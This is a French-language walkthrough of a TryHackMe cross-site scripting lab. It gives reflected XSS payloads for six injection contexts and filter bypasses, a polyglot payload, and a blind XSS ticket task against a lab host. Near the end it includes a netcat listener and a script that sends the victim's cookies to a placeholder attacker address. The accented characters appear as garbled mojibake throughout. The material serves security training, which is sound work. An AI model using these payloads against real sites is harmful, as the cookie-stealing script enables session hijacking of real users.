Ce document rĂ©capitule les diffĂ©rents niveaux de la machine TryHackMe sur lâexĂ©cution de payloads XSS afin dâafficher un alert('THM'). On y explore les cas typiques de failles XSS reflected avec filtrage, injection dans attributs ou dans du JavaScript inline.
alert('THM') à chaque niveau.Contexte : Le nom est injecté directement dans le corps HTML.
Payload :
<script>alert('THM');</script>
value=""Contexte : Le nom est injectĂ© dans lâattribut value dâun champ <input>.
Payload :
"><script>alert('THM');</script>
Explication : Le "> ferme lâattribut value=", puis le script est injectĂ©.
<textarea>Contexte : Le texte est injecté dans une balise <textarea>.
Payload :
</textarea><script>alert('THM');</script>
Explication : On ferme le <textarea>, puis on injecte le <script>.
Contexte : Le nom est intégré dans une variable JS inline.
Payload :
';alert('THM');//
Explication :
' ferme la chaĂźne.; termine lâinstruction JS.// commente le reste.scriptContexte : Le mot script est supprimĂ© automatiquement.
Payload contournement :
<sscriptcript>alert('THM');</sscriptcript>
Explication : Le filtre supprimant script, le doublement contourne la détection.
< et > bloquésContexte : On ne peut pas injecter de balises <script> directement.
Payload avec onload:
/images/cat.jpg" onload="alert('THM');
Explication : Utilisation dâun Ă©vĂ©nement onload dans un tag <img>.
Un payload XSS âpolyglotâ peut fonctionner dans de multiples contextes, mĂȘme avec des filtres :
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e
| Niveau | Contexte | Payload |
|---|---|---|
| 1 | HTML direct | <script>alert('THM');</script> |
| 2 | Input value="" |
"><script>alert('THM');</script> |
| 3 | Balise <textarea> |
</textarea><script>alert('THM');</script> |
| 4 | JavaScript inline | ';alert('THM');// |
| 5 | Filtrage de script |
<sscriptcript>alert('THM');</sscriptcript> |
| 6 | Filtrage <, > contourné via onload |
/images/cat.jpg" onload="alert('THM'); |
Dans cette derniÚre tùche, on exploite une faille de type Blind XSS dans le systÚme de création de ticket support.
AccĂšde au site cible :
https://10-10-186-81.p.thmlabs.com
Crée un compte via Customers > Signup.
test</textarea><script>alert('THM');</script>alert('THM') prouve la faille XSS sur un champ censĂ© ĂȘtre sĂ©curisĂ©.nc -nlvp 9001
</textarea><script>fetch('http://YOUR_IP:9001?cookie=' + btoa(document.cookie));</script>
đž Remplace YOUR_IP par lâIP de lâAttackBox (ou catcher).
đž Tu recevras une requĂȘte contenant les cookies en base64.